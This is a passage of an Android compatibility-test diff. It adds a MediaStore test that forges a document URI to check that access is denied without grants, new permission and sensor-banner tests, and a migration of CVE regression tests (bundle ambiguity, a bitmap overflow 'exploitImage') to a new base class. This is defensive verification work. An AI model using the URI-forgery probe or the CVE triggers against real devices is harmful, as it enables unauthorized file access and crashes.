+ clearDocumentsUi();
+ final Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_OPEN_DOCUMENT);
+ intent.addCategory(Intent.CATEGORY_OPENABLE);
+ intent.setType("*/*");
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ mDevice.waitForIdle();
+
+ String rawText = "TEST";
+ // Read and write grants will be provided to the file associated with this pair.
+ // Stages a text file which contains raw text "TEST"
+ Pair<Uri, File> uriFilePairWithGrants = prepareFileAndFetchDetails(rawText);
+ // Read and write grants will not be provided to the file associated with this pair
+ // Stages a text file which contains raw text "TEST"
+ Pair<Uri, File> uriFilePairWithoutGrants = prepareFileAndFetchDetails(rawText);
+ // Get access grants
+ findDocument(uriFilePairWithGrants.second.getName()).click();
+ final Result result = mActivity.getResult();
+ final Uri docUriOfFileWithAccess = result.data.getData();
+ // Creating doc URI for file by string replacement
+ Uri docUriOfFileWithoutAccess = Uri.parse(docUriOfFileWithAccess.toSafeString().replaceAll(
+ String.valueOf(ContentUris.parseId(uriFilePairWithGrants.first)),
+ String.valueOf(ContentUris.parseId(uriFilePairWithoutGrants.first))));
+
+ try {
+ assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY, docUriOfFileWithAccess.getAuthority());
+ assertEquals(MEDIA_DOCUMENTS_PROVIDER_AUTHORITY,
+ docUriOfFileWithoutAccess.getAuthority());
+ // Test reading
+ try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor(
+ docUriOfFileWithoutAccess, "r")) {
+ fail("Expecting security exception as file does not have read grants which "
+ + "are provided through ACTION_OPEN_DOCUMENT intent.");
+ } catch (SecurityException expected) {
+ // Expected security exception as file does not have read grants
+ }
+ // Test writing
+ try (ParcelFileDescriptor fd = mContext.getContentResolver().openFileDescriptor(
+ docUriOfFileWithoutAccess, "wt")) {
+ fail("Expecting security exception as file does not have write grants which "
+ + "are provided through ACTION_OPEN_DOCUMENT intent.");
+ } catch (SecurityException expected) {
+ // Expected security exception as file does not have write grants
+ }
+ } finally {
+ // Deleting files
+ uriFilePairWithGrants.second.delete();
+ uriFilePairWithoutGrants.second.delete();
+ }
+ }
+
private void assertAccessToMediaUri(Uri mediaUri, File file) {
final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
try (Cursor c = mContext.getContentResolver().query(
@@ -310,7 +414,7 @@ public class MediaStoreUiTest {
}
private void prepareFile() throws Exception {
- final File dir = new File(getVolumePath(mVolumeName),
+ final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)),
Environment.DIRECTORY_DOCUMENTS);
final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
@@ -320,6 +424,29 @@ public class MediaStoreUiTest {
Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
}
+ private void prepareFile(String rawText) throws Exception {
+ final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)),
+ Environment.DIRECTORY_DOCUMENTS);
+ final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
+
+ mFile = stageFileWithRawText(rawText, file);
+ mMediaStoreUri = MediaStore.scanFile(mContext.getContentResolver(), mFile);
+
+ Log.v(TAG, "Staged " + mFile + " as " + mMediaStoreUri);
+ }
+
+ private Pair<Uri, File> prepareFileAndFetchDetails(String rawText) throws Exception {
+ final File dir = new File(getVolumePath(resolveVolumeName(mVolumeName)),
+ Environment.DIRECTORY_DOCUMENTS);
+ final File file = new File(dir, "cts" + System.nanoTime() + ".txt");
+
+ File stagedFile = stageFileWithRawText(rawText, file);
+
+ Uri uri = MediaStore.scanFile(mContext.getContentResolver(), stagedFile);
+ Log.v(TAG, "Staged " + stagedFile + " as " + uri);
+ return Pair.create(uri, stagedFile);
+ }
+
private void assertToolbarTitleEquals(String targetPackageName, String label)
throws UiObjectNotFoundException {
final UiSelector toolbarUiSelector = new UiSelector().resourceId(
@@ -427,32 +554,28 @@ public class MediaStoreUiTest {
// The caller may be trying to stage into a location only available to
// the shell user, so we need to perform the entire copy as the shell
final Context context = InstrumentationRegistry.getTargetContext();
- UserManager userManager = context.getSystemService(UserManager.class);
- if (userManager.isSystemUser() &&
- FileUtils.contains(Environment.getStorageDirectory(), file)) {
- executeShellCommand("mkdir -p " + file.getParent());
-
- try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
- final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
- final long skip = afd.getStartOffset();
- final long count = afd.getLength();
-
- executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s",
- source.getAbsolutePath(), skip, count, file.getAbsolutePath()));
+ final File dir = file.getParentFile();
+ dir.mkdirs();
+ if (!dir.exists()) {
+ throw new FileNotFoundException("Failed to create parent for " + file);
+ }
+ try (InputStream source = context.getResources().openRawResource(resId);
+ OutputStream target = new FileOutputStream(file)) {
+ FileUtils.copy(source, target);
+ }
+ return file;
+ }
- // Force sync to try updating other views
- executeShellCommand("sync");
- }
- } else {
- final File dir = file.getParentFile();
- dir.mkdirs();
- if (!dir.exists()) {
- throw new FileNotFoundException("Failed to create parent for " + file);
- }
- try (InputStream source = context.getResources().openRawResource(resId);
- OutputStream target = new FileOutputStream(file)) {
- FileUtils.copy(source, target);
- }
+ static File stageFileWithRawText(String rawText, File file) throws IOException {
+ final File dir = file.getParentFile();
+ dir.mkdirs();
+ if (!dir.exists()) {
+ throw new FileNotFoundException("Failed to create parent for " + file);
+ }
+ try (InputStream source = new ByteArrayInputStream(
+ rawText.getBytes(StandardCharsets.UTF_8));
+ OutputStream target = new FileOutputStream(file)) {
+ FileUtils.copy(source, target);
}
return file;
}
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
index ed0ac3444a4..7f588e48040 100644
--- a/tests/tests/content/TEST_MAPPING
+++ b/tests/tests/content/TEST_MAPPING
@@ -1,27 +1,29 @@
{
"presubmit": [
{
- "name": "CtsContentTestCases",
+ "name": "FrameworksCoreTests",
"options": [
{
- "exclude-annotation": "androidx.test.filters.FlakyTest"
- },
- {
- "exclude-annotation": "org.junit.Ignore"
+ "include-filter": "android.content.pm.PackageManagerTests"
},
{
- "include-filter": "android.content.pm.cts"
+ "exclude-annotation": "androidx.test.filters.Suppress"
}
]
- },
+ }
+ ],
+ "presubmit-large": [
{
- "name": "FrameworksCoreTests",
+ "name": "CtsContentTestCases",
"options": [
{
- "include-filter": "android.content.pm.PackageManagerTests"
+ "exclude-annotation": "androidx.test.filters.FlakyTest"
},
{
- "exclude-annotation": "androidx.test.filters.Suppress"
+ "exclude-annotation": "org.junit.Ignore"
+ },
+ {
+ "include-filter": "android.content.pm.cts"
}
]
}
diff --git a/tests/tests/permission3/Android.bp b/tests/tests/permission3/Android.bp
index 4fd9b5152d3..e249fe342da 100644
--- a/tests/tests/permission3/Android.bp
+++ b/tests/tests/permission3/Android.bp
@@ -47,6 +47,7 @@ android_test {
":CtsUsePermissionApp30",
":CtsUsePermissionApp30WithBackground",
":CtsUsePermissionApp30WithBluetooth",
+ ":CtsUsePermissionApp31",
":CtsUsePermissionAppLatest",
":CtsUsePermissionAppLatestNone",
":CtsUsePermissionAppWithOverlay",
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 1536d580229..2342b6a4530 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -54,6 +54,7 @@
<option name="push" value="CtsUsePermissionApp30.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30.apk" />
<option name="push" value="CtsUsePermissionApp30WithBackground.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBackground.apk" />
<option name="push" value="CtsUsePermissionApp30WithBluetooth.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp30WithBluetooth.apk" />
+ <option name="push" value="CtsUsePermissionApp31.apk->/data/local/tmp/cts/permission3/CtsUsePermissionApp31.apk" />
<option name="push" value="CtsUsePermissionAppLatest.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatest.apk" />
<option name="push" value="CtsUsePermissionAppLatestNone.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppLatestNone.apk" />
<option name="push" value="CtsUsePermissionAppWithOverlay.apk->/data/local/tmp/cts/permission3/CtsUsePermissionAppWithOverlay.apk" />
diff --git a/tests/tests/permission3/UsePermissionApp31/Android.bp b/tests/tests/permission3/UsePermissionApp31/Android.bp
new file mode 100644
index 00000000000..48a2d4fa901
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp31/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CtsUsePermissionApp31",
+ srcs: [
+ ":CtsUsePermissionAppSrc",
+ ],
+ static_libs: [
+ "kotlin-stdlib",
+ ],
+ certificate: ":cts-testkey2",
+ target_sdk_version: "31",
+ min_sdk_version: "31",
+}
diff --git a/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml
new file mode 100644
index 00000000000..f6d9b29221b
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp31/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission3.cts.usepermission">
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+ <uses-permission android:name="android.permission.CAMERA" />
+ <application>
+ <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
+ <activity android:name=".FinishOnCreateActivity" android:exported="true" />
+ <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 901cc3504ac..49646f4fe18 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -158,6 +158,10 @@ abstract class BasePermissionTest {
waitForIdle()
}
+ protected fun clickPermissionControllerUi(selector: BySelector, timeoutMillis: Long = 20_000) {
+ click(selector.pkg(context.packageManager.permissionControllerPackageName), timeoutMillis)
+ }
+
protected fun pressBack() {
uiDevice.pressBack()
waitForIdle()
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 78675bd740e..6c69a6522ac 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -52,6 +52,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
const val APP_APK_PATH_28 = "$APK_DIRECTORY/CtsUsePermissionApp28.apk"
const val APP_APK_PATH_29 = "$APK_DIRECTORY/CtsUsePermissionApp29.apk"
const val APP_APK_PATH_30 = "$APK_DIRECTORY/CtsUsePermissionApp30.apk"
+ const val APP_APK_PATH_31 = "$APK_DIRECTORY/CtsUsePermissionApp31.apk"
+
const val APP_APK_PATH_30_WITH_BACKGROUND =
"$APK_DIRECTORY/CtsUsePermissionApp30WithBackground.apk"
const val APP_APK_PATH_30_WITH_BLUETOOTH =
@@ -449,7 +451,7 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
if (isWatch) {
click(By.text(permissionLabel), 40_000)
} else {
- click(By.text(permissionLabel))
+ clickPermissionControllerUi(By.text(permissionLabel))
}
val wasGranted = if (isAutomotive) {
diff --git a/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt
new file mode 100644
index 00000000000..d39fb9cf656
--- /dev/null
+++ b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts
+
+import android.content.Intent
+import android.hardware.SensorPrivacyManager
+import android.hardware.SensorPrivacyManager.Sensors.CAMERA
+import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
+import android.location.LocationManager
+import android.Manifest.permission_group.CAMERA as CAMERA_PERMISSION_GROUP
+import android.Manifest.permission_group.LOCATION as LOCATION_PERMISSION_GROUP
+import android.Manifest.permission_group.MICROPHONE as MICROPHONE_PERMISSION_GROUP
+import android.os.Build
+import android.provider.DeviceConfig
+import android.support.test.uiautomator.By
+import androidx.test.filters.SdkSuppress
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assume
+import org.junit.Before
+import org.junit.Test
+
+/**
+ * Banner card display tests on sensors being blocked
+ */
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+class SensorBlockedBannerTest : BaseUsePermissionTest() {
+ companion object {
+ const val LOCATION = -1
+ const val WARNING_BANNER_ENABLED = "warning_banner_enabled"
+ }
+
+ val sensorPrivacyManager = context.getSystemService(SensorPrivacyManager::class.java)!!
+ val locationManager = context.getSystemService(LocationManager::class.java)!!
+ private val originalEnabledValue = callWithShellPermissionIdentity {
+ DeviceConfig.getString(DeviceConfig.NAMESPACE_PRIVACY,
+ WARNING_BANNER_ENABLED, false.toString())
+ }
+
+ private val sensorToPermissionGroup = mapOf(CAMERA to CAMERA_PERMISSION_GROUP,
+ MICROPHONE to MICROPHONE_PERMISSION_GROUP,
+ LOCATION to LOCATION_PERMISSION_GROUP)
+
+ private val permToTitle = mapOf(CAMERA to "blocked_camera_title",
+ MICROPHONE to "blocked_microphone_title",
+ LOCATION to "blocked_location_title")
+
+ @Before
+ fun setup() {
+ Assume.assumeFalse(isTv)
+ // TODO(b/203784852) Auto will eventually support the blocked sensor banner, but there won't
+ // be support in T or below
+ Assume.assumeFalse(isAutomotive)
+ installPackage(APP_APK_PATH_31)
+ runWithShellPermissionIdentity {
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+ WARNING_BANNER_ENABLED, true.toString(), false)
+ }
+ }
+
+ @After
+ fun restoreWarningBannerState() {
+ runWithShellPermissionIdentity {
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+ WARNING_BANNER_ENABLED, originalEnabledValue, false)
+ }
+ }
+
+ private fun navigateAndTest(sensor: Int) {
+ val permissionGroup = sensorToPermissionGroup.getOrDefault(sensor, "Break")
+ val intent = Intent(Intent.ACTION_MANAGE_PERMISSION_APPS)
+ .putExtra(Intent.EXTRA_PERMISSION_GROUP_NAME, permissionGroup)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ runWithShellPermissionIdentity {
+ context.startActivity(intent)
+ }
+ val bannerTitle = permToTitle.getOrDefault(sensor, "Break")
+ waitFindObject(By.text(getPermissionControllerString(bannerTitle)))
+ pressBack()
+ }
+
+ private fun runSensorTest(sensor: Int) {
+ val blocked = isSensorPrivacyEnabled(sensor)
+ if (!blocked) {
+ setSensor(sensor, true)
+ }
+ navigateAndTest(sensor)
+ if (!blocked) {
+ setSensor(sensor, false)
+ }
+ }
+
+ @Test
+ fun testCameraCardDisplayed() {
+ Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(CAMERA))
+ runSensorTest(CAMERA)
+ }
+
+ @Test
+ fun testMicCardDisplayed() {
+ Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(MICROPHONE))
+ runSensorTest(MICROPHONE)
+ }
+
+ @Test
+ fun testLocationCardDisplayed() {
+ runSensorTest(LOCATION)
+ }
+
+ private fun setSensor(sensor: Int, enable: Boolean) {
+ if (sensor == LOCATION) {
+ runWithShellPermissionIdentity {
+ locationManager.setLocationEnabledForUser(!enable,
+ android.os.Process.myUserHandle())
+ if (enable) {
+ try {
+ waitFindObjectOrNull(By.text("CLOSE"))?.click()
+ } catch (e: Exception) {
+ // Do nothing, warning didn't show up so test can proceed
+ }
+ }
+ }
+ } else {
+ runWithShellPermissionIdentity {
+ sensorPrivacyManager.setSensorPrivacy(SensorPrivacyManager.Sources.OTHER,
+ sensor, enable)
+ }
+ }
+ }
+
+ private fun isSensorPrivacyEnabled(sensor: Int): Boolean {
+ return if (sensor == LOCATION) {
+ callWithShellPermissionIdentity {
+ !locationManager.isLocationEnabled()
+ }
+ } else {
+ callWithShellPermissionIdentity {
+ sensorPrivacyManager.isSensorPrivacyEnabled(sensor)
+ }
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
index 49a33ad4854..da7f0fb1223 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
@@ -27,16 +27,16 @@ import android.provider.MediaStore.Downloads;
import android.provider.MediaStore.MediaColumns;
import android.text.format.DateUtils;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.filters.SdkSuppress;
+
import org.junit.Test;
import java.io.FileNotFoundException;
import java.io.OutputStream;
import java.util.Objects;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.filters.SdkSuppress;
-
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
public class MediaStoreUtils {
@Test
@@ -118,6 +118,10 @@ public class MediaStoreUtils {
}
}
+ public void setIsFavorite(@Nullable Boolean isFavorite) {
+ this.insertValues.put(MediaColumns.IS_FAVORITE, isFavorite);
+ }
+
/**
* Optionally set the Uri from where the file has been downloaded. This is used
* for files being added to {@link Downloads} table.
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5838d27729b..b82b188f2b1 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@ android_test {
"compatibility-common-util-devicesidelib",
"guava",
"platform-test-annotations",
+ "sts-device-util",
"hamcrest-library",
],
libs: [
@@ -60,6 +61,7 @@ android_test {
"src/**/*.java",
"src/**/*.kt",
"src/android/security/cts/activity/ISecureRandomService.aidl",
+ "aidl/android/security/cts/IBitmapService.aidl",
"aidl/android/security/cts/IIsolatedService.aidl",
"aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
],
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 17aa9e8f345..e43d6aa0750 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -48,6 +48,10 @@
<service android:name="android.security.cts.activity.SecureRandomService"
android:process=":secureRandom"/>
+
+ <service android:name="android.security.cts.BitmapService"
+ android:process=":bitmap_service" />
+
<activity android:name="android.security.cts.MotionEventTestActivity"
android:label="Test MotionEvent"
android:exported="true">
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 00000000000..b9694c32af7
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+ int getAllocationSize(in BitmapWrapper bitmap);
+ boolean didReceiveBitmap(in BitmapWrapper bitmap);
+ boolean ping();
+}
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 9480251f37c..f16b8fb2111 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,26 +15,30 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.app.ActivityManager;
import android.app.ApplicationExitInfo;
import android.content.Context;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import junit.framework.TestCase;
import java.lang.reflect.InvocationTargetException;
-public class ActivityManagerTest extends TestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 19394591)
+ @Test
public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
try {
/*
@@ -53,6 +57,7 @@ public class ActivityManagerTest extends TestCase {
// b/144285917
@AsbSecurityTest(cveBugId = 144285917)
+ @Test
public void testActivityManager_attachNullApplication() {
SecurityException securityException = null;
Exception unexpectedException = null;
@@ -81,6 +86,7 @@ public class ActivityManagerTest extends TestCase {
// b/166667403
@AsbSecurityTest(cveBugId = 166667403)
+ @Test
public void testActivityManager_appExitReasonPackageNames() {
final String mockPackage = "com.foo.bar";
final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index 5d297c6a9b2..fca75a22425 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -19,21 +19,28 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
import java.io.InputStream;
import android.security.cts.R;
-public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device is not vulnerable to ANDROID-19270126: Android
* BitmapFactory.decodeStream JPG allocPixelRef integer overflow
*/
@AsbSecurityTest(cveBugId = 19394591)
+ @Test
public void testAllocateJavaPixelRefIntOverflow() {
- InputStream exploitImage = mContext.getResources().openRawResource(
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2015_1531_b_19270126);
/**
* The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 73536e35b0f..397c0129661 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -16,7 +16,7 @@
package android.security.cts;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.fail;
import android.app.Activity;
import android.os.BaseBundle;
@@ -27,21 +27,29 @@ import android.view.AbsSavedState;
import android.view.View;
import android.view.View.BaseSavedState;
import android.annotation.SuppressLint;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Random;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
import android.security.cts.R;
import android.platform.test.annotations.AsbSecurityTest;
-public class AmbiguousBundlesTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
/**
* b/140417434
* Vulnerability Behaviour: Failure via Exception
*/
@AsbSecurityTest(cveBugId = 140417434)
+ @Test
public void test_android_CVE_2020_0082() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -180,6 +188,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/71992105
*/
@AsbSecurityTest(cveBugId = 71992105)
+ @Test
public void test_android_CVE_2017_13310() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -270,6 +279,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/71508348
*/
@AsbSecurityTest(cveBugId = 71508348)
+ @Test
public void test_android_CVE_2018_9339() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -373,6 +383,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/62998805
*/
@AsbSecurityTest(cveBugId = 62998805)
+ @Test
public void test_android_CVE_2017_0806() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -436,6 +447,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/73252178
*/
@AsbSecurityTest(cveBugId = 73252178)
+ @Test
public void test_android_CVE_2017_13311() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -530,6 +542,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/71714464
*/
@AsbSecurityTest(cveBugId = 71714464)
+ @Test
public void test_android_CVE_2017_13287() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
index 7b26ff0cee8..1deafdde4f1 100644
--- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
+++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
@@ -25,6 +25,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.core.app.ApplicationProvider;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import static org.junit.Assert.assertFalse;
import org.junit.Test;
@@ -34,7 +35,7 @@ import java.io.File;
import java.lang.reflect.Field;
@RunWith(AndroidJUnit4.class)
-public class AndroidFutureTest {
+public class AndroidFutureTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 186530450)
@Test
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
index 10e1c2098c3..684fa6f4d02 100644
--- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -19,13 +19,19 @@ package android.security.cts;
import android.content.res.AssetManager;
import android.content.res.XmlResourceParser;
import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class AssetManagerTest extends CtsAndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class AssetManagerTest extends StsExtraBusinessLogicTestCase {
// b/144028297
@AsbSecurityTest(cveBugId = 144028297)
+ @Test
public void testCloseThenFinalize() throws Exception {
final XmlResourceParser[] parser = {null};
final AssetManager[] assetManager = {AssetManager.class.newInstance()};
diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
new file mode 100644
index 00000000000..e36fa49b3eb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
